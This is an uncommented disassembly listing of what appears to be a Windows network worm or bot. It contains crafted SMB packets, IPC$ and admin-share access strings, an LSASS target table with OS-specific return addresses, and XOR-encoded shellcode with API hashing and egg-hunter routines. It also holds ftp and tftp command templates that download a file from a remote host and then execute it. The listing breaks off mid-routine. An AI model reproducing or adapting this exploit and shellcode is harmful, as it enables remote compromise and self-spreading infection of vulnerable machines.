		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_427EA0	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: ___:0040370Do
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_427F2C	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00403739o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_427FD8	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00403760o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_4280B8	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC:					; DATA XREF: sub_403249+8Ao
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_42811C	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+2AAo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_428188	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+2D1o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42822C	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+3B0o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_4282AC	dd offset loc_401493+2	; DATA XREF: sub_403249+3DEo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_428340	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+306o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_4283AC	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+331o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_428420	dd 0			; DATA XREF: sub_403249+35Fo
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 3	dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 10h
dword_4284E0	dd 1004600h		; DATA XREF: sub_403249+140r
					; sub_403249+245r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
dword_428598	dd 0A0D7325h, 0		; DATA XREF: sub_4030E8+102o
					; sub_405144+DFo ...
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: sub_4030E8+BEo
		db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4030E8+97o
; ---------------------------------------------------------------------------

loc_428620:				; DATA XREF: sub_403249+177o
		jmp	short loc_428628
; ---------------------------------------------------------------------------
		jmp	short loc_42862A
; ---------------------------------------------------------------------------
		align 8

loc_428628:				; CODE XREF: ___:loc_428620j
					; DATA XREF: sub_403249+27o
		pop	esp
		pop	esp

loc_42862A:				; CODE XREF: ___:00428622j
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_428634	dd 1CEC8166h		; DATA XREF: sub_403249+Dr
dword_428638	dd 0E4FF07h		; DATA XREF: sub_403249+16r
byte_42863C	db 90h			; DATA XREF: sub_403A90+B2o
		db 42h,	90h, 42h
		db 90h
		dd offset word_429042
		align 4
dword_428648	dd 10FF8h, 0		; DATA XREF: sub_403A90+6Ao
dword_428650	dd 10FF8h		; DATA XREF: sub_403A90+79o
dword_428654	dd 7FFDF020h, 0		; DATA XREF: sub_403A90+162o
dword_42865C	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_403EBA+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4286E4	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_403EBA+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_428714	dd 0			; DATA XREF: sub_403EBA+44o
		dd 800000D4h, 0
unk_428720	db  81h	; 		; DATA XREF: sub_403F94+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_42876C	db 41h			; DATA XREF: sub_404032+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4287B0	proc near		; DATA XREF: ___:0040430Fo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_4288AC
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4288C2
		mov	[esi+8], eax
		call	sub_428875
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4288C2
		mov	[esi+0Ch], eax
		call	sub_428827
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4288C2
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_4287B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_428827	proc near		; CODE XREF: sub_4287B0+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_428850
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_428827	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428850	proc near		; CODE XREF: sub_428827+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h

loc_42885F:				; CODE XREF: sub_428850+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_42886C
		inc	ebx
		jmp	short loc_42885F
; ---------------------------------------------------------------------------

loc_42886C:				; CODE XREF: sub_428850+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_428850	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428875	proc near		; CODE XREF: sub_4287B0+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi

loc_42888D:				; CODE XREF: sub_428875+1Ej
		cmp	[ecx], ebx
		jz	short loc_428895
		mov	ecx, [ecx]
		jmp	short loc_42888D
; ---------------------------------------------------------------------------

loc_428895:				; CODE XREF: sub_428875+1Aj
		mov	edx, edi

loc_428897:				; CODE XREF: sub_428875+2Aj
		cmp	[edx+4], ebx
		jz	short loc_4288A1
		mov	edx, [edx+4]
		jmp	short loc_428897
; ---------------------------------------------------------------------------

loc_4288A1:				; CODE XREF: sub_428875+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_428875	endp


; =============== S U B	R O U T	I N E =======================================



sub_4288AC	proc near		; CODE XREF: sub_4287B0+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_4288AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4288C2	proc near		; CODE XREF: sub_4287B0+16p
					; sub_4287B0+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp

loc_4288D8:				; CODE XREF: sub_4288C2+33j
		jecxz	short loc_428912
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld

loc_4288E5:				; CODE XREF: sub_4288C2+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4288F1
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4288E5
; ---------------------------------------------------------------------------

loc_4288F1:				; CODE XREF: sub_4288C2+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4288D8
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------

loc_428912:				; CODE XREF: sub_4288C2:loc_4288D8j
					; sub_4288C2:loc_428912j
		jmp	short loc_428912
sub_4288C2	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_428918	proc near		; DATA XREF: ___:004042BFo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_42896A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp

loc_428935:				; CODE XREF: sub_428918+38j
		jecxz	short loc_428965
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq

loc_428940:				; CODE XREF: sub_428918+32j
		lodsb
		test	al, al
		jz	short loc_42894C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_428940
; ---------------------------------------------------------------------------

loc_42894C:				; CODE XREF: sub_428918+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_428935
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp

loc_428965:				; CODE XREF: sub_428918:loc_428935j
		mov	[esp+arg_0], ebx
		retn
sub_428918	endp


; =============== S U B	R O U T	I N E =======================================



sub_42896A	proc near		; CODE XREF: sub_428918+7p

; FUNCTION CHUNK AT 004289A2 SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_428983
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_42898E
; ---------------------------------------------------------------------------

loc_428983:				; CODE XREF: sub_42896A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]

loc_42898E:				; CODE XREF: sub_42896A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_4289A2
sub_42896A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428995	proc near		; CODE XREF: sub_42896A:loc_4289A2p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_428995	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42896A

loc_4289A2:				; CODE XREF: sub_42896A+29j
		call	sub_428995

loc_4289A7:				; DATA XREF: sub_403A35+1Bo
					; sub_40EE72+822o
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_42896A
; ---------------------------------------------------------------------------
		db 3 dup(0)
dword_4289AC	dd 60h			; DATA XREF: sub_403A90+320o
dword_4289B0	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_403A90+2F5o
dword_4289BC	dd 30h			; DATA XREF: sub_403A90+2CAo
					; ___:0042FA1Co
dword_4289C0	dd 0A1h			; DATA XREF: sub_403A90+29Fo
dword_4289C4	dd 3			; DATA XREF: sub_403A90+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_403A90+153o
		align 10h

loc_4289D0:				; DATA XREF: sub_403A90+E8o
		jmp	short near ptr dword_4289D8
; ---------------------------------------------------------------------------
		align 8
dword_4289D8	dd 0			; CODE XREF: ___:loc_4289D0j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: ___:004042E4o
					; sub_404F9A+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_428A50	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:00404BFFo
; ---------------------------------------------------------------------------

loc_428A5C:				; CODE XREF: ___:00428A66j
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_428A5C
		inc	edi
		jz	short loc_428AA3
		and	eax, 952CE753h
		inc	esp
		jle	short loc_428ACB
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]

loc_428AA3:				; CODE XREF: ___:00428A69j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_428B02+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------

loc_428AC8:				; CODE XREF: ___:00428AF5j
		xor	[esi-25h], bl

loc_428ACB:				; CODE XREF: ___:00428A71j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh

loc_428AE4:				; CODE XREF: ___:00428B17j
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_428AC8
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp

loc_428B02:				; CODE XREF: ___:00428AA9j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_428B8E
		jo	short loc_428AE4
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_428B25+1
		add	bl, [edi]

loc_428B25:				; CODE XREF: ___:00428B21j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_428B3A+2
		cmp	ch, bh
		dec	edx

loc_428B3A:				; CODE XREF: ___:00428B35j
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------

loc_428B8E:				; CODE XREF: ___:00428B15j
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_428C14
		sub	al, 0BCh
		jmp	near ptr 54448F82h
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_428BB0	dd 0EFFFC481h, 44FFFFh,	428BFCh	; DATA XREF: ___:00404BE6o
dword_428BBC	dd 42Ah			; DATA XREF: ___:00404B99r
dword_428BC0	dd 3E8h			; DATA XREF: ___:00404C0Ar
dword_428BC4	dd 258h			; DATA XREF: ___:00404BDCr
byte_428BC8	db 0			; DATA XREF: ___:00404B45r
					; ___:00404C13r
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_428BE0	dd 20804h		; DATA XREF: sub_404853r ___:00404C31o ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:00428BCCo
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------

loc_428C14:				; CODE XREF: ___:00428B98j
		push	eax
		xor	al, 29h

loc_428C17:				; DATA XREF: ___:00404B6Do
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 10h
dword_428C20	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: ___:00404A9Do
dword_428C34	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: ___:00404A41o
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:004049D0o
		align 4
a_:					; DATA XREF: sub_406387+252o
		unicode	0, <.>,0
dword_428C60	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: ___:004050E2o
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 2Dh	dup(64646464h)
		db 2 dup(64h)
word_429042	dw 6464h		; DATA XREF: ___:00428641o
		dd 11h dup(64646464h), 1016464h, 40h dup(65656565h), 66010165h
		dd 40h dup(66666666h), 67670101h, 3Fh dup(67676767h), 1676767h
		dd 68686801h, 3Fh dup(68686868h), 1016868h, 40h	dup(69696969h)
		dd 6A010169h, 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh)
		dd 16B6B6Bh, 6C6C6C01h,	8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh
		dd 6D6D501Eh, 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h
		dd 83877FD9h, 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h
		dd 0C2F4FDECh, 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h
		dd 86F4ED43h, 1EBFE826h, 0F3BF5D64h, 8AB518CFh,	73941BC9h
		dd 0AF5B8DF3h, 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h
		dd 0EF4F5CBh, 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h
		dd 0C7F474D4h, 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh
		dd 0B50CAEA0h, 57808D97h, 7B9212A0h, 518089F3h,	0E19A5097h
		dd 85773449h, 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh
		dd 0D43C8A9Bh, 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh
		dd 78281EB8h, 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh
		dd 0EFAF269Dh, 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h
		dd 0D0061FB1h, 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h
		dd 0EB3F091h, 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h,	14539B36h
		dd 2C47A345h, 0F5177263h, 78696A36h, 51809DBDh,	0D62D8E93h
		dd 86158899h, 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h
		dd 5780EE37h, 4838E43h,	5180BD0Ch, 0EFAF269Ah, 0D87B5338h
		dd 78A9269Bh, 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4

loc_429E74:				; DATA XREF: ___:00405319o
		add	al, 54h
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax

loc_429E92:				; CODE XREF: ___:00429EE2j
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		fmul	st(1), st
		mov	al, 42h
		jmp	short loc_429EE9
; ---------------------------------------------------------------------------
		dec	edx
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		and	[ecx], eax
		jo	short loc_429E92
		inc	edx
		add	[eax-52h], esi
		inc	edx

loc_429EE9:				; CODE XREF: ___:00429ED9j
		mov	edi, esp
		add	edi, 2Ch
		sub	sp, 204h
		xor	ecx, ecx
		mov	dl, 35h
		add	cx, 138h

loc_429EFC:				; CODE XREF: ___:00429F03j
